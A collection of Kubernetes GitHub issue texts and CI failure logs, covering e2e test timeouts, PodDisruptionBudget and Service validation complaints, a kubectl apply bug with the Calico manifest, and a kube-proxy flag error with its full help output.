https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/12066/  failed:  k8s.io  kubectl client  k8s.io  kubectl api-versions should check if v1 is in available api versions  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:127 expected error:     < url.error | 0xc821141c20>: {         op: \ get\ ,         url: \ https://104.154.251.11/api/v1/watch/namespaces/e2e-tests-kubectl-fxu48/serviceaccounts?fieldselector=metadata.name%3ddefault\ ,         err: {             op: \ dial\ ,             net: \ tcp\ ,             source: nil,             addr: {                 ip: \ \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xffh\\x9a\\xfb\\v\ ,                 port: 443,                 zone: \ \ ,             },             err: {},         },     }     get https://104.154.251.11/api/v1/watch/namespaces/e2e-tests-kubectl-fxu48/serviceaccounts?fieldselector=metadata.name%3ddefault: dial tcp 104.154.251.11:443: i/o timeout not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/443/  failed:  k8s.io  job should fail a job {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142 nov 20 08:19:46.403: couldn't delete ns: \ e2e-tests-job-5bumu\ : namespace e2e-tests-job-5bumu was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed  &errors.errorstring{s:\ namespace e2e-tests-job-5bumu was not deleted with limit: timed out waiting for the condition, namespace is empty but is not yet removed\ }  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:353       previous issues for this test:  28773  29506  30699  32734  34585

_poddisruptionbudget_ is immutable at this moment. it would be a nice improvement to allow changes to it, at the least to the _minavailable_ field. not sure whether this counts as a _bug_ or a _feature request_ : \r \r after creating a _poddisruptionbudget_ with the following manifest.\r \r    yaml\r apiversion: policy/v1beta1\r kind: poddisruptionbudget\r metadata:\r   name: elasticsearch-master\r   labels:\r     app: elasticsearch\r     role: master\r spec:\r   selector:\r     matchlabels:\r       app: elasticsearch\r       role: master\r   minavailable: 2\r    \r \r when changing the spec to let's say  minavailable: 3  and re-running  kubectl apply  it returns the following error:\r \r    \r the poddisruptionbudget \ elasticsearch-master\  is invalid: spec: forbidden: updates to poddisruptionbudget spec are forbidden.\r    \r \r   kubernetes version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   google container engine 1.6.2 with cos image  :\r -   os    e.g. from /etc/os-release :\r \r    \r build_id=9000.84.2\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r -   kernel    e.g.  uname -a  :\r \r    \r linux gke-production-europe-we-auto-scaling-917da0af-zzzj 4.4.21+  1 smp fri feb 17 15:34:45 pst 2017 x86_64 intel \r r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r    \r \r   what happened  :\r \r changing the value of  spec.minavailable  in a _poddisruptionbudget_ failed due to updates being forbidden.\r \r   what you expected to happen  :\r \r at least  spec.minavailable  being allowed to change because it's often used in conjunction with a _statefulset_ which is likely to grow over time by incrementing the number of replicas, at which time you also want to grow _minavailable_ in the _poddisruptionbudget_.

in the gce cloudprovider package, firewall should be created in the project which contains the network.  currently, the compute project id is used. this is a broken feature of k8s 1.7.0.\r

failure cluster  fdb61c0214f47b3016b6  https://go.k8s.io/triage fdb61c0214f47b3016b6        error text:                     your current cloud sdk version is: 143.0.0 installing components from version: 143.0.0  +----------------------------------------------+ |     these components will be installed.      | +-----------------------------+---------+------+ |             name            | version | size | +-----------------------------+---------+------+ | gcloud-deps  linux, x86_64  |         |      | +-----------------------------+---------+------+  for the latest full release notes, please visit:   https://cloud.google.com/sdk/release_notes   ============================================================   = creating update staging area                             =   ============================================================   = installing: gcloud-deps  linux, x86_64                   =   ============================================================   = creating backup and activating new installation          =   ============================================================   performing post processing steps... .............................................................................done.  update done!  traceback  most recent call last :   file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 206, in <module>     main     file \ //google-cloud-sdk/bin/bootstrapping/install.py\ , line 191, in main     sdk_root=bootstrapping.sdk_root, typeerror: updaterc   got an unexpected keyword argument 'completion_update'                         failure cluster statistics: 1 tests failed,    1 jobs failed,    187 builds failed. failure stats cover 1 day time range '12 aug 2017 17:37 utc' to '13 aug 2017 17:37 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | install_gcloud | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-kubemark-5-gce-1.5 | 187 |  13 aug 2017 17:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce-1.5/6347  |   current status  https://go.k8s.io/triage fdb61c0214f47b3016b6

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r    \r   what happened  :\r \r prior to 1.8 it was possible to specify the same targetport in the service definition multiple times. in 1.8, validation was added that prohibited this. \r \r   what you expected to happen  :\r i expect backwards compatibility for ga resources, so having the same targetport multiple times should be allowed. this is a valid use case imo for target ports. if you take the example below, the load balancer terminates ssl, so that manifest allows the nginx pods to receive http on port 80 while the load balancer serves traffic on 80 & 443. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl apply -f - <<eof \r kind: service\r apiversion: v1\r metadata:\r   name: nginx-service\r   annotations:\r     service.beta.kubernetes.io/oci-load-balancer-ssl-ports: \ 443\ \r     service.beta.kubernetes.io/oci-load-balancer-tls-secret: ssl-certificate-secret\r spec:\r   selector:\r     app: nginx\r   type: loadbalancer\r   ports:\r   - name: http\r     port: 80\r     targetport: 80\r   - name: https\r     port: 443\r     targetport: 80\r eof\r    \r \r   anything else we need to know?  :\r \r original ticket for validation: https://github.com/kubernetes/kubernetes/issues/47222\r

is this a bug report or feature request?  :\r  \r   what happened  :\r kubelet package contains multiple  network.go files, also some of the networking related codes scatter in different places, which is confusing and make it hard to reason about. we should try converging the network codes in kubelet package --- at least puting them into centralized places.\r \r   anything else we need to know?  :\r /assign\r

/ /  /status approved-for-milestone\r @kubernetes/sig-cluster-lifecycle-test-failures \r \r this job has been failing since 2017-11-15.  it's on the  sig-release-master-blocking dashboard  https://k8s-testgrid.appspot.com/sig-release-master-blocking ,\r and prevents us from cutting  v1.9.0-beta.1   kubernetes/sig-release 34 . is there work ongoing to bring this job back to green?\r \r https://k8s-testgrid.appspot.com/sig-release-master-blocking kubeadm-gce\r \r - last good: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/8585\r - first bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/8586\r - latest bad: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/8795

 \r even if you forbid mounting configmap or secret volumes in the podsecuritypolicy, that data can still be accessed in the container via environment variables, through the envvars. i think it may make sense to add restrictions on envvar sources too.\r \r another usecase, courtesy nathan sweet:\r \r > it would be nice if the downward api in k8s could be limited in a more granular fashion to create better pod/container isolation from the node/cluster.\r >  ... \r > in a situation where i don't trust the \ deployer\  of a pod, i want to limit what values they can see via the downwardapi. currently, through a podsecuritypolicy, you can deny access to the downwardapi, but there is useful information in it that i might want to grant the \ deployer\  access to  such as limits , but deny other pieces of information  such as node ip . \r \r 

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r    failing test\r       sig-storage  persistentvolumes-local local volume provisioner  serial  should create and recreate local persistent volume  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1484 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=storage&test=should%20create%20and%20recreate%20local%20persistent%20volum\r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @msau42  can you please triage this failure?\r \r  / /  @kubernetes/sig-storage-bugs \r \r cc @jberkus @tpepper \r \r /assign @msau42 \r

this issue is meant to track and discuss planned work items for the plugin watcher api across releases.\r  \r this is not finalized yet. this issue will be updated once the community agrees to the different features and schedule.\r \r the original design document  is here  https://docs.google.com/document/d/1dthpgy-gpe9sy7zzmgnm8ywo09zjfnh-e1kealfv39s \r \r    v1.11: done\r -  x  implement the pluginwatcher base code  pr  63328   owner: @vikaschoudhary16 \r -  x  csi driver registration uses pluginwatcher  pr  64560   owner: @sbezverk \r \r    v1.12 must have\r -  x  add support for plugin directory hierarchy  pr  64660   owner: @figo \r -  x  use pluginwatcher in device manager  pr  58755   owner: @vikaschoudhary16 \r -  x  change pluginwatcher interface  pr  64621   owner: @renaudwastaken \r -  x  add de-register method  issue:  64637   owner: @renaudwastaken \r -  x  allow the pluginwatcher lifecycle to do zero downtime upgrade  issue:  65772   owner: @renaudwastaken \r -  x  handling re-registration  issue:  65770   owner: @renaudwastaken \r -  x  update the pluginwatcher api to beta  owner: @renaudwastaken \r -  x  remove feature gate  owner: @renaudwastaken \r -  x  add a design doc  pr: kubernetes/community 2369   owner: @vikaschoudhary16 \r \r    v1.13 must have\r \r -  x  gather a list of e2e tests and make sure the code coverage is high\r -  x  gather a list of production workloads and experience using the feature\r -     scale tests experiences\r -  x  plugin watcher getting notified of every kubelet directory event  issue: kubernetes/issues/69015   owner: @renaudwastaken \r -  x  graduate to g.a\r \r    v1.14 and onward must have\r \r -     design a mechanism that protect against a device plugin flooding the api  owner:  tbd  \r -     implement the flooding protection mechanism  owner:  tbd  \r -     design and gather security/authentication requirements  owner:  tbd  \r -     implement security/authentication  owner:  tbd  \r \r  /cc @vikaschoudhary16 @figo @sbezverk @saad-ali @vladimirvivien @jiayingz \r \r feel free to add anyone i might have forgotten and to add some feature. i'll update this pr regularly

recent  run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/193  failed to up the cluster as the last mig was waiting for all vms to come up, but it took super long and eventually timed out after ~22 hours. i remember this happening few times in the past as well.\r \r i think we should timeout while  waiting until stable  https://github.com/shyamjvs/kubernetes/blob/bb8f58b6e655cf55e029ee21d44934c1ef8878d9/cluster/gce/util.sh l2327  operation to avoid arbitrary waiting time and then proceed with whatever number of vms were already created. my feeling is this change should be made not just in testing, but also for production - to not make cluster startup time unbounded.\r \r @wojtek-t @mborsz - thoughts?

/cc @erictune   having a limit on the total number of pods seems useful. this number should be quite a bit higher than  max-recommended-nodes   max-recommended-pods-per-node , but low enough that we hit it before we completely run out of memory/disk on master.   we would like to have a static limit that applies across all namespaces and isn't reconfigurable by someone with cluster api access. the easiest way to implement that seems like a flag to the apiserver  that way you can reconfigure it, but you need access to the apiserver binary rather than access to the api itself .

i keep seeing      e0831 17:11:32.468072    2136 kubelet_getters.go:248  could not read directory /var/lib/kubelet/pods/b608eb2905506727f838b3c31f596013/volumes: open /var/lib/kubelet/pods/b608eb2905506727f838b3c31f596013/volumes: no such file or directory      in kubelet logs on master, and that directory is actually missing indeed.  this pod is one of the static pods for scheduler, and this one doesn't have any volumes.  the fix to this may be related to https://github.com/kubernetes/kubernetes/issues/31272.  cc @saad-ali @jingxu97 @pmorie

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-release-1.4/1244/  failed:  k8s.io  deployment paused deployment should be ignored by the controller {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:74 oct 12 15:12:11.549: err : timed out waiting for the condition . failed to remove deployment test-paused-deployment pods : &{typemeta:{kind: apiversion:} listmeta:{selflink:/api/v1/namespaces/e2e-tests-deployment-i9o0y/pods resourceversion:2961} items: {typemeta:{kind: apiversion:} objectmeta:{name:test-paused-deployment-965846846-atlep generatename:test-paused-deployment-965846846- namespace:e2e-tests-deployment-i9o0y selflink:/api/v1/namespaces/e2e-tests-deployment-i9o0y/pods/test-paused-deployment-965846846-atlep uid:c47240a0-90c8-11e6-b2f1-42010af0000a resourceversion:886 generation:0 creationtimestamp:2016-10-12 15:11:04 -0700 pdt deletiontimestamp:2016-10-12 15:11:30 -0700 pdt deletiongraceperiodseconds:0xc82049b250 labels:map name:nginx pod-template-hash:965846846  annotations:map kubernetes.io/created-by:{\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ e2e-tests-deployment-i9o0y\ ,\ name\ :\ test-paused-deployment-965846846\ ,\ uid\ :\ c4586158-90c8-11e6-b2f1-42010af0000a\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 485\ }}   ownerreferences:   finalizers:   clustername:} spec:{volumes: {name:default-token-etqt7 volumesource:{hostpath:<nil> emptydir:<nil> gcepersistentdisk:<nil> awselasticblockstore:<nil> gitrepo:<nil> secret:0xc820e0bd70 nfs:<nil> iscsi:<nil> glusterfs:<nil> persistentvolumeclaim:<nil> rbd:<nil> quobyte:<nil> flexvolume:<nil> cinder:<nil> cephfs:<nil> flocker:<nil> downwardapi:<nil> fc:<nil> azurefile:<nil> configmap:<nil> vspherevolume:<nil> azuredisk:<nil>}}  initcontainers:   containers: {name:nginx image:gcr.io/google_containers/nginx-slim:0.7 command:   args:   workingdir: ports:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-etqt7 readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:<nil> readinessprobe:<nil> lifecycle:<nil> terminationmessagepath:/dev/termination-log imagepullpolicy:ifnotpresent securitycontext:<nil> stdin:false stdinonce:false tty:false}  restartpolicy:always terminationgraceperiodseconds:0xc82049b3e0 activedeadlineseconds:<nil> dnspolicy:clusterfirst nodeselector:map   serviceaccountname:default nodename:gke-jenkins-e2e-default-pool-45b2bc27-h2ka securitycontext:0xc820e10e40 imagepullsecrets:   hostname: subdomain:} status:{phase:pending conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-10-12 15:11:04 -0700 pdt reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-10-12 15:11:04 -0700 pdt reason:containersnotready message:containers with unready status:  nginx } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2016-10-12 15:11:04 -0700 pdt reason: message:}  message: reason: hostip:10.240.0.4 podip: starttime:2016-10-12 15:11:04 -0700 pdt initcontainerstatuses:   containerstatuses: {name:nginx state:{waiting:0xc820e52f00 running:<nil> terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:false restartcount:0 image:gcr.io/google_containers/nginx-slim:0.7 imageid: containerid:} }} } /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:249      previous issues for this test:  28067  28378  32692  33256

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : daemonset, kubectl  ---    is this a bug report or feature request?    choose one : bug report   kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.2\ , gitcommit:\ c072cc2ee4dfc21b60196e5994c56c40e1c29b93\ , gittreestate:\ clean\ , builddate:\ 2016-10-15t00:13:29z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }      also tested with:      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.1\ , gitcommit:\ 33cf7b9acbb2cb7c9c72a10d6636321fb180b159\ , gittreestate:\ clean\ , builddate:\ 2016-10-10t18:19:49z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  server   : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : debian jessie -   kernel    e.g.  uname -a  : linux ip-10-64-61-28 4.4.23-k8s  1 smp fri sep 30 13:51:02 utc 2016 x86_64 gnu/linux -   install tools  : kops with https://github.com/kubernetes/kops/pull/621 applied    environment  client   : -   os    e.g. from /etc/os-release : arch linux -   kernel    e.g.  uname -a  : linux      \\  4.7.0-1-arch  1 smp preempt mon aug 8 22:05:58 cest 2016 x86_64 gnu/linux    what happened  : when applying calico's deployment yaml file, the daemonset isn't sent to the server      $ kubectl apply -f  https://raw.githubusercontent.com/projectcalico/calico/master/master/getting-started/kubernetes/installation/hosted/calico.yaml configmap \ calico-config\  configured secret \ calico-etcd-secrets\  configured replicaset \ calico-policy-controller\  configured      however, when extracting the daemonset config to separate file, apply works properly:      $ cat daemonset.yaml   this manifest installs the calico/node container, as well   as the calico cni plugins and network config on   each master and worker node in a kubernetes cluster. kind: daemonset apiversion: extensions/v1beta1 metadata:  name: calico-node ... $ kubectl apply -f daemonset.yaml daemonset \ calico-node\  configured        what you expected to happen  : all 4 documents in the yaml file should be applied    how to reproduce it    as minimally and precisely as possible : unfortunately i haven't managed to create smaller test case than the original calico.yaml.      $ kubectl apply -f https://raw.githubusercontent.com/projectcalico/calico/e49b8fd9d349b0465a261633f5f4788618d36301/master/getting-started/kubernetes/installation/hosted/calico.yaml

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-alpha-features-release-1.5/244/  failed:  k8s.io  esipp  slow  feature:externaltrafficlocalonly  should handle updates to source ip annotation  slow  feature:externaltrafficlocalonly  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1404 dec  2 09:42:11.635: kube-proxy still exposing health check on node gke-bootstrap-e2e-default-pool-715f4901-iau0:30710, after esipp was turned off. last err <nil>, last body okokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokok /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1359       previous issues for this test:  35225  35347

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kops-aws/587/  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy stateful pod restarts during scale {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:177 dec 10 20:46:22.167: failed waiting for pods to enter running: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:924

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-federation/1992/ failed: deferred federation teardown {e2e.go}      exit status 1

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r  /area kube-proxy\r \r \r   what happened  :\r    \r $ kubectl -n kube-system logs kube-proxy-10.44.1.192\r error: unknown flag: --kubeconfig /var/lib/kubelet/kubeconfig.yml\r \r the kubernetes proxy server is responsible for taking traffic directed at\r \r   services and forwarding it to the appropriate pods. it generally runs on\r   nodes next to the kubelet and proxies traffic from local pods to remote pods.\r   it is also used when handling incoming external traffic.\r usage:\r   proxy  flags \r \r available flags:\r       --allow-verification-with-non-compliant-keys   allow a signatureverifier to use keys which are technically non-compliant with rfc6962.\r       --alsologtostderr                              log to standard error as well as files\r       --application-metrics-count-limit int          max number of application metrics to store  per container   default 100 \r       --azure-container-registry-config string       path to the file container azure container registry configuration information.\r       --bind-address ip                              the ip address for the proxy server to serve on  set to 0.0.0.0 for all interfaces   default 0.0.0.0 \r       --boot-id-file string                          comma-separated list of files to check for boot-id. use the first one that exists.  default \ /proc/sys/kernel/random/boot_id\  \r       --cleanup-iptables                             if true cleanup iptables rules and exit.\r       --cluster-cidr string                          the cidr range of pods in the cluster. it is used to bridge traffic coming from outside of the cluster. if not provided, no off-cluster bridging will be performed.\r       --config-sync-period duration                  how often configuration from the apiserver is refreshed.  must be greater than 0.  default 15m0s \r       --conntrack-max-per-core int32                 maximum number of nat connections to track per cpu core  0 to leave the limit as-is and ignore conntrack-min .  default 32768 \r       --conntrack-min int32                          minimum number of conntrack entries to allocate, regardless of conntrack-max-per-core  set conntrack-max-per-core=0 to leave the limit as-is .  default 131072 \r       --conntrack-tcp-timeout-close-wait duration    nat timeout for tcp connections in the close_wait state  default 1h0m0s \r       --conntrack-tcp-timeout-established duration   idle timeout for established tcp connections  0 to leave as-is   default 24h0m0s \r       --container-hints string                       location of the container hints file  default \ /etc/cadvisor/container_hints.json\  \r       --default-not-ready-toleration-seconds int     indicates the tolerationseconds of the toleration for notready:noexecute that is added by default to every pod that does not already have such a toleration.  default 300 \r       --default-unreachable-toleration-seconds int   indicates the tolerationseconds of the toleration for unreachable:noexecute that is added by default to every pod that does not already have such a toleration.  default 300 \r       --docker string                                docker endpoint  default \ unix:///var/run/docker.sock\  \r       --docker-env-metadata-whitelist string         a comma-separated list of environment variable keys that needs to be collected for docker containers\r       --docker-only                                  only report docker containers in addition to root stats\r       --docker-root string                           deprecated: docker root is read from docker info  this is a fallback, default: /var/lib/docker   default \ /var/lib/docker\  \r       --enable-load-reader                           whether to enable cpu load reader\r       --event-storage-age-limit string               max length of time for which to store events  per type . value is a comma separated list of key values, where the keys are event types  e.g.: creation, oom  or \ default\  and the value is a duration. default is applied to all non-specified event types  default \ default=0\  \r       --event-storage-event-limit string             max number of events to store  per type . value is a comma separated list of key values, where the keys are event types  e.g.: creation, oom  or \ default\  and the value is an integer. default is applied to all non-specified event types  default \ default=0\  \r       --feature-gates mapstringbool                  a set of key=value pairs that describe feature gates for alpha/experimental features. options are:\r accelerators=true|false  alpha - default=false \r affinityinannotations=true|false  alpha - default=false \r allalpha=true|false  alpha - default=false \r allowexttrafficlocalendpoints=true|false  beta - default=true \r apparmor=true|false  beta - default=true \r dynamickubeletconfig=true|false  alpha - default=false \r dynamicvolumeprovisioning=true|false  alpha - default=true \r experimentalcriticalpodannotation=true|false  alpha - default=false \r experimentalhostusernamespacedefaulting=true|false  beta - default=false \r streamingproxyredirects=true|false  beta - default=true \r taintbasedevictions=true|false  alpha - default=false \r       --global-housekeeping-interval duration        interval between global housekeepings  default 1m0s \r       --google-json-key string                       the google cloud platform service account json key to use for authentication.\r       --healthz-bind-address ip                      the ip address for the health check server to serve on, defaulting to 127.0.0.1  set to 0.0.0.0 for all interfaces   default 127.0.0.1 \r       --healthz-port int32                           the port to bind the health check server. use 0 to disable.  default 10249 \r   -h, --help                                         help for hyperkube\r       --hostname-override string                     if non-empty, will use this string as identification instead of the actual hostname.\r       --housekeeping-interval duration               interval between container housekeepings  default 10s \r       --iptables-masquerade-bit int32                if using the pure iptables proxy, the bit of the fwmark space to mark packets requiring snat with.  must be within the range  0, 31 .  default 14 \r       --iptables-min-sync-period duration            the minimum interval of how often the iptables rules can be refreshed as endpoints and services change  e.g. '5s', '1m', '2h22m' .\r       --iptables-sync-period duration                the maximum interval of how often iptables rules are refreshed  e.g. '5s', '1m', '2h22m' .  must be greater than 0.  default 30s \r       --ir-data-source string                        data source used by initialresources. supported options: influxdb, gcm.  default \ influxdb\  \r       --ir-dbname string                             influxdb database name which contains metrics required by initialresources  default \ k8s\  \r       --ir-hawkular string                           hawkular configuration url\r       --ir-influxdb-host string                      address of influxdb which contains metrics required by initialresources  default \ localhost:8080/api/v1/namespaces/kube-system/services/monitoring-influxdb:api/proxy\  \r       --ir-namespace-only                            whether the estimation should be made only based on data from the same namespace.\r       --ir-password string                           password used for connecting to influxdb  default \ root\  \r       --ir-percentile int                            which percentile of samples should initialresources use when estimating resources. for experiment purposes.  default 90 \r       --ir-user string                               user used for connecting to influxdb  default \ root\  \r       --kube-api-burst int32                         burst to use while talking with kubernetes apiserver  default 10 \r       --kube-api-content-type string                 content type of requests sent to apiserver.  default \ application/vnd.kubernetes.protobuf\  \r       --kube-api-qps float32                         qps to use while talking with kubernetes apiserver  default 5 \r       --kubeconfig string                            path to kubeconfig file with authorization information  the master location is set by the master flag .\r       --log-backtrace-at tracelocation               when logging hits line file:n, emit a stack trace  default :0 \r       --log-cadvisor-usage                           whether to log the usage of the cadvisor container\r       --log-dir string                               if non-empty, write log files in this directory\r       --log-flush-frequency duration                 maximum number of seconds between log flushes  default 5s \r       --loglevel int                                 log level  0 = debug, 5 = fatal   default 1 \r       --logtostderr                                  log to standard error instead of files  default true \r       --machine-id-file string                       comma-separated list of files to check for machine-id. use the first one that exists.  default \ /etc/machine-id,/var/lib/dbus/machine-id\  \r       --masquerade-all                               if using the pure iptables proxy, snat everything\r       --master string                                the address of the kubernetes api server  overrides any value in kubeconfig \r       --oom-score-adj int32                          the oom-score-adj value for kube-proxy process. values must be within the range  -1000, 1000   default -999 \r       --proxy-mode proxymode                         which proxy mode to use: 'userspace'  older  or 'iptables'  faster . if blank, use the best-available proxy  currently iptables .  if the iptables proxy is selected, regardless of how, but the system's kernel or iptables versions are insufficient, this always falls back to the userspace proxy.\r       --proxy-port-range port-range                  range of host ports  beginport-endport, inclusive  that may be consumed in order to proxy service traffic. if unspecified  0-0  then ports will be randomly chosen.\r       --stderrthreshold severity                     logs at or above this threshold go to stderr  default 2 \r       --storage-driver-buffer-duration duration      writes in the storage driver will be buffered for this duration, and committed to the non memory backends as a single transaction  default 1m0s \r       --storage-driver-db string                     database name  default \ cadvisor\  \r       --storage-driver-host string                   database host:port  default \ localhost:8086\  \r       --storage-driver-password string               database password  default \ root\  \r       --storage-driver-secure                        use secure connection with database\r       --storage-driver-table string                  table name  default \ stats\  \r       --storage-driver-user string                   database username  default \ root\  \r       --udp-timeout duration                         how long an idle udp connection will be kept open  e.g. '250ms', '2s' .  must be greater than 0. only applicable for proxy-mode=userspace  default 250ms \r   -v, --v level                                      log level for v logs\r       --version version =true                        print version information and quit\r       --vmodule modulespec                           comma-separated list of pattern=n settings for file-filtered logging\r error: unknown flag: --kubeconfig /var/lib/kubelet/kubeconfig.yml\r    \r \r \r   what you expected to happen  :\r healthy, up and running  kube-proxy .\r \r   how to reproduce it  as minimally and precisely as possible   :\r i'm using the following  kube-proxy  manifest, my api server is running on  10.44.1.191 :\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-proxy\r   namespace: kube-system\r spec:\r   hostnetwork: true\r   containers:\r     - name: kube-proxy\r       image: quay.io/coreos/hyperkube:v1.6.6_coreos.0\r       command:\r         - /hyperkube\r         - proxy\r         - --kubeconfig /var/lib/kubelet/kubeconfig.yml\r         - --master 10.44.1.191\r         - --proxy-mode=iptables\r       securitycontext:\r         privileged: true\r       volumemounts:\r         - mountpath: /etc/ssl/certs\r           name: ssl-certs-host\r           readonly: true\r   volumes:\r     - hostpath:\r         path: /usr/share/ca-certificates\r       name: ssl-certs-host\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:34:20z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6+coreos.0-dirty\ , gitcommit:\ 42a5c8b99c994a51d9ceaed5d0254f177e97d419\ , gittreestate:\ dirty\ , builddate:\ 2017-06-17t00:51:40z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r hardware\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release \r name=\ container linux by coreos\ \r id=coreos\r version=1409.5.0\r version_id=1409.5.0\r build_id=2017-06-22-2222\r pretty_name=\ container linux by coreos 